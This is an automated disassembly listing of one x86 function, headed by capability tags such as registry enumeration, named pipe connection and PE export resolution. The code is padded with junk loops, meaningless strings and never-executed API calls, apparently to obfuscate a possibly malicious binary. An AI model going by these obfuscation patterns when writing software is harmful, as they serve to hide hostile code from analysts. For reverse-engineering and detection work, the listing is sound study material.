Function at 0x10022d73
Capabilities:
Connect pipe
Get graphical window text
Get system information on windows
Identify system language via api
Parse pe header
Query or enumerate registry key
Resolve function by parsing pe exports
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004bd18
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x9a8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xe4], 0x477862f
mov dword [ebp - 0x67c], 0x78f4f823
mov dword [ebp - 0x75c], 5
mov dword [ebp - 0x7a8], 0x9cdf9c77
mov dword [ebp - 0x758], 0xbefcdf1
mov dword [ebp - 0x7d0], 0xfffffffa
mov dword [ebp - 0x674], 0xfffffff7
mov dword [ebp - 0x760], 9
mov dword [ebp - 0x7b0], 1
mov dword [ebp - 0x6a4], 0xc6c0
mov dword [ebp - 0xe4], 0
jmp 0x10022e15
mov eax, dword [ebp - 0xe4]
dec eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0xfffffff2
je 0x100233b1
mov dword [ebp - 0x2c4], 0x12a4
mov dword [ebp - 0x688], str.bkcywohs_cukxdn_wgujms_upjp_rgeuot_vtvckqr_ubwco_zjwsevfae_ncjvlsetu_ozrjlfy_tlaauihai_pgbbg_lbcfvu
cmp dword [ebp - 0x2c4], 0x14ea
jle 0x10022efa
and dword [ebp - 0x228], 0
jmp 0x10022e5c
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0x6806
jge 0x10022ef0
and dword [ebp - 0x214], 0
jmp 0x10022e82
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x12d4
jge 0x10022eeb
and dword [ebp - 0x220], 0
jmp 0x10022ea4
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0x1fc9
jge 0x10022ee9
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 0x220]
sar eax, cl
or eax, dword [ebp - 0x228]
cdq
mov dword [ebp - 0x5a0], eax
mov dword [ebp - 0x59c], edx
push dword [ebp - 0x59c]
push dword [ebp - 0x5a0]
mov ecx, 0x10062a18
call fcn.10003a17
jmp 0x10022e97
jmp 0x10022e75
jmp 0x10022e4f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
mov dword [ebp - 0x38], 1
and dword [ebp - 4], 0
cmp dword [ebp - 0x2c4], 0x126f
jge 0x10022f21
mov edx, dword [ebp - 0x688]
mov ecx, 0x10062a18
call fcn.10006198
jmp 0x10022f3d
or dword [ebp - 4], 0xffffffff
jmp 0x10022f47
mov dword [ebp - 0x248], 0xfffffffa
mov dword [ebp - 0x594], 0xbb5fb49a
mov dword [ebp - 0x4c4], 0xa21b78cd
mov dword [ebp - 0x230], 0
jmp 0x10022f7e
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 4
jge 0x10022f9a
mov eax, dword [ebp - 0x230]
mov dword [ebp + eax*4 - 0x708], 0xfffffffa
jmp 0x10022f71
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x708], 0
jmp 0x10022fc8
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x708]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x708], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x708], 0xfffffff4
je 0x10023000
mov byte [ebp - 0xaa], 0
movzx eax, byte [ebp - 0xaa]
test eax, eax
je 0x10022ffe
push 0x11ac
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x10022fad
mov dword [ebp - 0x38], 0xffffffeb
jmp 0x10023010
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x14
jge 0x100233ac
mov dword [ebp - 0xec], 0x11151c3c
mov dword [ebp - 0x6a0], 4
mov dword [ebp - 0x770], 0x184dcc8
mov dword [ebp - 0x4b4], 0x54b
mov dword [ebp - 0x58c], str.wutifiu_ffpz_aovuk_wyjpr_cxj_mkrsor_vxq_dcbterpaz
cmp dword [ebp - 0x4b4], 0x85d
jle 0x10023162
and dword [ebp - 0x238], 0
jmp 0x10023072
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0x4d77
jge 0x10023162
and dword [ebp - 0x1e4], 0
jmp 0x10023098
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0xf4
jge 0x1002315d
and dword [ebp - 0x144], 0
jmp 0x100230be
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0xdf1
jge 0x10023158
and dword [ebp - 0x210], 0
jmp 0x100230e4
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x7c93
jge 0x10023153
mov eax, dword [ebp - 0x238]
sub eax, dword [ebp - 0x1e4]
sub eax, dword [ebp - 0x144]
or eax, dword [ebp - 0x210]
cdq
mov dword [ebp - 0x5ac], eax
mov dword [ebp - 0x5a8], edx
push dword [ebp - 0x5a8]
push dword [ebp - 0x5ac]
lea ecx, [ebp - 0x9a0]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0x584], eax
mov ecx, dword [ebp - 0x584]
call fcn.10003995
push eax
call fcn.10036008
pop ecx
lea ecx, [ebp - 0x9a0]
call fcn.1000398b
jmp 0x100230d7
jmp 0x100230b1
jmp 0x1002308b
jmp 0x10023065
mov dword [ebp - 0x7f4], 0
mov dword [ebp - 4], 2
cmp dword [ebp - 0x4b4], 0x366
jge 0x1002318b
push dword [ebp - 0x58c]
call fcn.10036008
pop ecx
jmp 0x100231a7
or dword [ebp - 4], 0xffffffff
jmp 0x100231b1
mov dword [ebp - 0x728], 0xffffffff
mov dword [ebp - 0x724], 0xffffffff
mov dword [ebp - 0x720], 0xffffffff
mov dword [ebp - 0x71c], 0xffffffff
mov dword [ebp - 0xec], 3
jmp 0x100231f2
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jl 0x10023228
mov byte [ebp - 0x9d], 0
movzx eax, byte [ebp - 0x9d]
test eax, eax
je 0x10023226
push 0
push 0
push 0
push 0
push 0
push 0
push 0x1c2c
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x100231e5
cmp dword [ebp - 0x38], 0xbb7a
jg 0x1002323d
mov dword [ebp - 0x4bc], 1
jmp 0x10023244
and dword [ebp - 0x4bc], 0
mov eax, dword [ebp - 0x4bc]
mov dword [ebp - 0x594], eax
mov eax, dword [ebp - 0x674]
mov dword [ebp - 0x4c4], eax
cmp dword [ebp - 0x4c4], 0
je 0x10023277
cmp dword [ebp - 0x38], 0
je 0x10023277
mov dword [ebp - 0x4cc], 1
jmp 0x1002327e
and dword [ebp - 0x4cc], 0
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x4e0], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x4e0]
mov dword [ebp + eax - 0x708], ecx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x4e0]
cmp eax, dword [ebp - 0x67c]
jne 0x100232c1
mov dword [ebp - 0x4e4], 1
jmp 0x100232c8
and dword [ebp - 0x4e4], 0
imul eax, dword [ebp - 0x4e4], 0xffffffff
cmp eax, 1
jne 0x100232e0
mov dword [ebp - 0x4a8], 1
jmp 0x100232e7
and dword [ebp - 0x4a8], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x4a8], eax
jge 0x100232fe
mov dword [ebp - 0x4ac], 1
jmp 0x10023305
and dword [ebp - 0x4ac], 0
xor eax, eax
sub eax, dword [ebp - 0x4ac]
sub eax, dword [ebp - 0xec]
mov dword [ebp - 0x298], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x298]
mov dword [ebp + eax - 0x728], ecx
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x298], eax
jl 0x10023342
mov dword [ebp - 0x3c8], 1
jmp 0x10023349
and dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x248]
mov dword [ebp - 0x6a8], eax
mov eax, dword [ebp - 0x3c8]
sub eax, dword [ebp - 0x6a0]
add eax, dword [ebp - 0x38]
mov dword [ebp - 0x6b0], eax
mov eax, dword [ebp - 0x248]
dec eax
mov dword [ebp - 0x248], eax
mov eax, dword [ebp - 0x6a8]
cmp eax, dword [ebp - 0x6b0]
jge 0x10023391
mov dword [ebp - 0x2a0], 1
jmp 0x10023398
and dword [ebp - 0x2a0], 0
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x6a4], eax
jmp 0x10023009
jmp 0x10022e08
cmp dword [ebp + 0x10], 0
jbe 0x100233d3
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x100233d3
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.1001f0f7
pop ecx
pop ecx
jmp 0x100272b6
mov dword [ebp - 0x24], 0x94643cdf
mov dword [ebp - 0x8c], 0x7071658a
mov dword [ebp - 0x4d0], 0x6540f213
mov dword [ebp - 0x154], 0x57a23a34
mov dword [ebp - 0x778], 8
mov dword [ebp - 0x14c], 0
jmp 0x1002341b
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 3
jge 0x10023437
mov eax, dword [ebp - 0x14c]
mov dword [ebp + eax*4 - 0x138], 0x10c93b4e
jmp 0x1002340e
mov dword [ebp - 0x24], 2
jmp 0x10023447
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jl 0x100238de
mov dword [ebp - 0x13c], 0x942c3b03
mov dword [ebp - 0x218], 0
jmp 0x10023474
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 4
jge 0x10023490
mov eax, dword [ebp - 0x218]
mov dword [ebp + eax*4 - 0x81c], 0x2da50e28
jmp 0x10023467
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x138]
mov dword [ebp - 0x7b8], eax
mov dword [ebp - 0x8c], 0x4255ebda
mov eax, dword [ebp - 0x8c]
add eax, 0x488a9733
je 0x100234c8
or eax, 0xffffffff
je 0x100234c8
mov dword [ebp - 0x460], 1
jmp 0x100234cf
and dword [ebp - 0x460], 0
cmp dword [ebp - 0x460], 0x89d9e62b
je 0x100234e7
mov dword [ebp - 0x2a8], 1
jmp 0x100234ee
and dword [ebp - 0x2a8], 0
mov eax, dword [ebp - 0x24]
imul ecx, dword [ebp - 0x2a8], 0xbc2a
cmp ecx, dword [ebp + eax*4 - 0x138]
jle 0x10023510
mov dword [ebp - 0x5f8], 1
jmp 0x10023517
and dword [ebp - 0x5f8], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x138]
mov dword [ebp - 0x780], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x138]
cmp eax, dword [ebp - 0x4d0]
je 0x10023547
mov dword [ebp - 0x3d0], 1
jmp 0x1002354e
and dword [ebp - 0x3d0], 0
cmp dword [ebp - 0x3d0], 0
jge 0x10023563
mov dword [ebp - 0x2b0], 1
jmp 0x1002356a
and dword [ebp - 0x2b0], 0
mov eax, dword [ebp - 0x2b0]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x4d0], 1
jg 0x10023597
mov dword [ebp - 0x2b8], 1
jmp 0x1002359e
and dword [ebp - 0x2b8], 0
mov eax, dword [ebp - 0x24]
imul ecx, dword [ebp - 0x2b8], 0x5db0
cmp ecx, dword [ebp + eax*4 - 0x138]
jle 0x100235c0
mov dword [ebp - 0x3d8], 1
jmp 0x100235c7
and dword [ebp - 0x3d8], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x138]
cmp dword [ebp - 0x3d8], eax
jge 0x100235e5
mov dword [ebp - 0x2c0], 1
jmp 0x100235ec
and dword [ebp - 0x2c0], 0
cmp dword [ebp - 0x2c0], 0x8edf
jge 0x10023604
mov dword [ebp - 0x468], 1
jmp 0x1002360b
and dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x468]
sub ecx, dword [ebp + eax*4 - 0x138]
cmp ecx, 0x7adf
jg 0x1002362f
mov dword [ebp - 0x2c8], 1
jmp 0x10023636
and dword [ebp - 0x2c8], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x138]
cmp dword [ebp - 0x2c8], eax
je 0x10023654
mov dword [ebp - 0x3e0], 1
jmp 0x1002365b
and dword [ebp - 0x3e0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x138]
cmp dword [ebp - 0x3e0], eax
jg 0x1002367b
mov dword [ebp - 0x2d0], 1
jmp 0x10023682
and dword [ebp - 0x2d0], 0
mov eax, dword [ebp - 0x24]
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x138]
imul ecx, dword [ebp - 0x2d0]
imul ecx, dword [ebp + eax*4 - 0x138]
dec ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x138]
sub eax, ecx
je 0x1002386e
mov dword [ebp - 0x254], 0x99991913
mov dword [ebp - 0x24c], 3
mov dword [ebp - 0x25c], 0
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0x13c], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x13c]
cmp ecx, dword [ebp + eax - 0x138]
jne 0x100237b5
mov dword [ebp - 0x25c], 0xe9d3
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0x57c], eax
mov eax, dword [ebp - 0x24c]
add eax, dword [ebp - 0x25c]
mov dword [ebp - 0x528], eax
mov eax, dword [ebp - 0x24c]
dec eax
mov dword [ebp - 0x24c], eax
mov eax, dword [ebp - 0x57c]
cmp eax, dword [ebp - 0x528]
je 0x10023744
mov dword [ebp - 0x4b0], 1
jmp 0x1002374b
and dword [ebp - 0x4b0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x81c]
cmp dword [ebp - 0x4b0], eax
jne 0x1002376b
mov dword [ebp - 0x2d8], 1
jmp 0x10023772
and dword [ebp - 0x2d8], 0
mov eax, dword [ebp - 0x154]
cmp dword [ebp - 0x2d8], eax
jl 0x1002378c
mov dword [ebp - 0x3e8], 1
jmp 0x10023793
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x3e8]
lea eax, [ecx + eax + 1]
test eax, eax
jne 0x100237b5
xor eax, eax
inc eax
jne 0x100237b5
and dword [ebp - 0x2e0], 0
jmp 0x100237bf
mov dword [ebp - 0x2e0], 1
mov eax, dword [ebp - 0x254]
cmp dword [ebp - 0x2e0], eax
je 0x100237d9
mov dword [ebp - 0x470], 1
jmp 0x100237e0
and dword [ebp - 0x470], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x81c]
cmp dword [ebp - 0x470], eax
je 0x10023800
mov dword [ebp - 0x2e8], 1
jmp 0x10023807
and dword [ebp - 0x2e8], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x138]
cmp eax, dword [ebp - 0x2e8]
jg 0x10023825
mov dword [ebp - 0x3f0], 1
jmp 0x1002382c
and dword [ebp - 0x3f0], 0
mov eax, dword [ebp - 0x3f0]
sub eax, 9
jne 0x10023856
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x138], 0
jne 0x10023856
cmp dword [ebp - 0x25c], 0
jne 0x10023856
and dword [ebp - 0x2f0], 0
jmp 0x10023860
mov dword [ebp - 0x2f0], 1
mov eax, dword [ebp - 0x2f0]
mov dword [ebp - 0x8c], eax
jmp 0x10023899
mov dword [ebp - 0x7e4], 1
mov dword [ebp - 0x4d4], 0xffffffff
mov dword [ebp - 0x13c], 0x1101210
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x4d4], eax
mov dword [ebp - 0x8c], 2
jmp 0x100238b2
mov eax, dword [ebp - 0x8c]
dec eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x100238d9
mov byte [ebp - 0x8d], 0
movzx eax, byte [ebp - 0x8d]
test eax, eax
je 0x100238d7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
jmp 0x100238a5
jmp 0x10023440
mov dword [ebp - 0x2f8], 0x998
mov dword [ebp - 0x51c], str.ndzqnlj_kpeggwr_usyowzzvo_bvuuvfza_ptcxgbwq
cmp dword [ebp - 0x2f8], 0xab9
jle 0x10023978
and dword [ebp - 0x15c], 0
jmp 0x10023914
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0x5d5e
jge 0x10023978
and dword [ebp - 0x1ec], 0
jmp 0x10023936
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0x3825
jge 0x10023976
mov eax, dword [ebp - 0x15c]
cdq
idiv dword [ebp - 0x1ec]
mov eax, edx
cdq
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5b4], edx
push dword [ebp - 0x5b4]
push dword [ebp - 0x5b8]
mov ecx, 0x10062a18
call fcn.10003a17
jmp 0x10023929
jmp 0x10023907
mov dword [ebp - 4], 4
cmp dword [ebp - 0x2f8], 0x680
jge 0x1002399b
mov edx, dword [ebp - 0x51c]
mov ecx, 0x10062a18
call fcn.10006198
jmp 0x100239b7
or dword [ebp - 4], 0xffffffff
jmp 0x100239c1
mov dword [ebp - 0x30], 0xb0ceafd
mov dword [ebp - 0xb8], 0xfffffff7
mov dword [ebp - 0x3f8], 0xf6f
mov dword [ebp - 0x604], str.fslok_fwvsi_bel_gracqjrw_epmw_xnpg_wxw_tndkqjks
cmp dword [ebp - 0x3f8], 0x12fa
jle 0x10023b00
and dword [ebp - 0x164], 0
jmp 0x10023a0c
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0x6fd2
jge 0x10023b00
and dword [ebp - 0x22c], 0
jmp 0x10023a32
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0x5087
jge 0x10023afb
and dword [ebp - 0x16c], 0
jmp 0x10023a58
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x5c49
jge 0x10023af6
and dword [ebp - 0x1f4], 0
jmp 0x10023a7e
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0x3750
jge 0x10023af1
mov eax, dword [ebp - 0x164]
cdq
idiv dword [ebp - 0x22c]
imul edx, dword [ebp - 0x16c]
or edx, dword [ebp - 0x1f4]
mov eax, edx
cdq
mov dword [ebp - 0x5c4], eax
mov dword [ebp - 0x5c0], edx
push dword [ebp - 0x5c0]
push dword [ebp - 0x5c4]
lea ecx, [ebp - 0x9b8]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0x530], eax
mov ecx, dword [ebp - 0x530]
call fcn.10003995
push eax
call fcn.10036008
pop ecx
lea ecx, [ebp - 0x9b8]
call fcn.1000398b
jmp 0x10023a71
jmp 0x10023a4b
jmp 0x10023a25
jmp 0x100239ff
mov dword [ebp - 0xd4], 0x99220c43
mov dword [ebp - 4], 6
cmp dword [ebp - 0x3f8], 0xc90
jge 0x10023b29
push dword [ebp - 0x604]
call fcn.10036008
pop ecx
jmp 0x10023b45
or dword [ebp - 4], 0xffffffff
jmp 0x10023b4f
mov dword [ebp - 0xe0], 0x52a42bbd
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x788], eax
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x30]
jg 0x10023b76
mov dword [ebp - 0x300], 1
jmp 0x10023b7d
and dword [ebp - 0x300], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x300], eax
jle 0x10023b94
mov dword [ebp - 0x478], 1
jmp 0x10023b9b
and dword [ebp - 0x478], 0
mov eax, dword [ebp - 0x478]
neg eax
cmp eax, dword [ebp - 0x30]
jne 0x10023bb4
mov dword [ebp - 0x308], 1
jmp 0x10023bbb
and dword [ebp - 0x308], 0
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x308]
jge 0x10023bd8
cmp dword [ebp - 0x30], 0
je 0x10023bd8
mov dword [ebp - 0x400], 1
jmp 0x10023bdf
and dword [ebp - 0x400], 0
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x400]
jg 0x10023bf6
mov dword [ebp - 0x310], 1
jmp 0x10023bfd
and dword [ebp - 0x310], 0
cmp dword [ebp - 0x310], 0xe637c5b1
jbe 0x10023c15
mov dword [ebp - 0x4b8], 1
jmp 0x10023c1c
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x10023c43
cmp dword [ebp - 0x30], 0
je 0x10023c43
mov dword [ebp - 0x318], 1
jmp 0x10023c4a
and dword [ebp - 0x318], 0
mov eax, dword [ebp - 0x318]
add eax, 0x1bca9d69
cmp eax, 0xeb8e
jne 0x10023c68
mov dword [ebp - 0x408], 1
jmp 0x10023c6f
and dword [ebp - 0x408], 0
mov eax, dword [ebp - 0x408]
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0
jne 0x10023c90
mov dword [ebp - 0x320], 1
jmp 0x10023c97
and dword [ebp - 0x320], 0
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x320]
sub eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0xe0]
jl 0x10023dab
mov dword [ebp - 0xb8], 0xffffffe6
jmp 0x10023cc8
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0x12
jg 0x10023da9
mov byte [ebp - 0xa7], 0
movzx eax, byte [ebp - 0xa7]
test eax, eax
je 0x10023cfc
push 0
push 0
push 0x21be
push 0
push 1
push 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov dword [ebp - 0xd4], 0x1c
jmp 0x10023d15
mov eax, dword [ebp - 0xd4]
dec eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0xd
jle 0x10023da4
mov dword [ebp - 0x538], 8
mov dword [ebp - 0xe0], 0
jmp 0x10023d45
mov eax, dword [ebp - 0xe0]
dec eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0xffffffe8
jge 0x10023d85
mov dword [ebp - 0x680], 0xffffffff
cmp dword [ebp - 0x538], 0x786
jne 0x10023d70
mov dword [ebp - 0x480], 1
jmp 0x10023d77
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0x680], eax
jmp 0x10023d38
mov byte [ebp - 0x96], 0
movzx eax, byte [ebp - 0x96]
test eax, eax
je 0x10023d9f
push 0
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
jmp 0x10023d08
jmp 0x10023cbb
jmp 0x10023de5
mov byte [ebp - 0x95], 0
movzx eax, byte [ebp - 0x95]
test eax, eax
je 0x10023de5
push 0x2697
push 0x24b8
push 0x202f
push 0x1217
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Ellipse]
cmp dword [ebp + 0x10], 0
jne 0x10025750
mov dword [ebp - 0x6c4], 0xfffffffa
mov dword [ebp - 0x6c0], 0xfffffffa
mov dword [ebp - 0x6bc], 0xfffffffa
mov dword [ebp - 0x6b8], 0xfffffffa
mov dword [ebp - 0x3c], 0x52061f6
mov dword [ebp - 0x264], 1
mov dword [ebp - 0x410], 0
mov dword [ebp - 0x340], 0xf9a8551b
mov dword [ebp - 0x3c], 3
jmp 0x10023e4c
mov eax, dword [ebp - 0x3c]
dec eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jl 0x10023e6e
mov byte [ebp - 0xa5], 0
movzx eax, byte [ebp - 0xa5]
test eax, eax
je 0x10023e6c
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
jmp 0x10023e45
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x6c4], 0x8213
je 0x10023e8d
mov dword [ebp - 0x328], 1
jmp 0x10023e94
and dword [ebp - 0x328], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x328], eax
jl 0x10023eab
mov dword [ebp - 0x540], 1
jmp 0x10023eb2
and dword [ebp - 0x540], 0
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x410], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x410]
shl ecx, 3
cmp ecx, dword [ebp + eax - 0x6c4]
jg 0x10023edf
mov dword [ebp - 0x330], 1
jmp 0x10023ee6
and dword [ebp - 0x330], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x6c4]
cmp eax, dword [ebp - 0x330]
jl 0x10023f07
mov dword [ebp - 0x4d8], 1
jmp 0x10023f0e
and dword [ebp - 0x4d8], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x4d8], eax
jle 0x10023f25
mov dword [ebp - 0x338], 1
jmp 0x10023f2c
and dword [ebp - 0x338], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6c4]
cmp dword [ebp - 0x338], eax
jg 0x10023f4d
mov dword [ebp - 0x418], 1
jmp 0x10023f54
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x7c0], eax
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0x340], eax
mov eax, dword [ebp - 0x340]
mov dword [ebp - 0x790], eax
cmp dword [ebp - 0x3c], 0xe265
jne 0x10023f8d
mov dword [ebp - 0x488], 1
jmp 0x10023f94
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0x264]
cmp dword [ebp - 0x488], eax
jl 0x10023fae
mov dword [ebp - 0x348], 1
jmp 0x10023fb5
and dword [ebp - 0x348], 0
cmp dword [ebp - 0x348], 0xe1ee67b3
je 0x10023fd0
cmp dword [ebp - 0x3c], 0
jne 0x10023fd0
and dword [ebp - 0x420], 0
jmp 0x10023fda
mov dword [ebp - 0x420], 1
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x420]
je 0x10023ff1
mov dword [ebp - 0x350], 1
jmp 0x10023ff8
and dword [ebp - 0x350], 0
mov eax, dword [ebp - 0x350]
mov dword [ebp - 0x264], eax
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.1001af95
mov dword [ebp - 0x158], eax
mov dword [ebp - 0xc0], 1
mov dword [ebp - 0x6c], 0xfffffffb
mov dword [ebp - 0x7e8], 0xffffffff
mov dword [ebp - 0x730], 9
mov dword [ebp - 0x4c0], 0x711d
mov dword [ebp - 0x548], str.rnav_zktrkpefo_bch_rrr_bcuf_vrhbr
cmp dword [ebp - 0x4c0], 0x7500
jle 0x10024104
and dword [ebp - 0x174], 0
jmp 0x10024074
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0x1a12
jge 0x10024104
and dword [ebp - 0x21c], 0
jmp 0x1002409a
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0x5b9
jge 0x100240ff
mov eax, dword [ebp - 0x174]
mov ecx, dword [ebp - 0x21c]
sar eax, cl
cdq
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5cc], edx
push dword [ebp - 0x5cc]
push dword [ebp - 0x5d0]
lea ecx, [ebp - 0x8ec]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0x610], eax
mov ecx, dword [ebp - 0x610]
call fcn.10003995
push eax
call fcn.10036008
pop ecx
lea ecx, [ebp - 0x8ec]
call fcn.1000398b
jmp 0x1002408d
jmp 0x10024067
mov dword [ebp - 4], 8
cmp dword [ebp - 0x4c0], 0x6f6e
jge 0x10024123
push dword [ebp - 0x548]
call fcn.10036008
pop ecx
jmp 0x1002413f
or dword [ebp - 4], 0xffffffff
jmp 0x10024149
mov dword [ebp - 0x28], 0
jmp 0x10024159
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x1002416f
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x868], 0
jmp 0x10024152
mov dword [ebp - 0x28], 0
jmp 0x1002417f
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 1
jge 0x10024195
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x734], 0
jmp 0x10024178
mov dword [ebp - 0x28], 0
jmp 0x100241a5
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
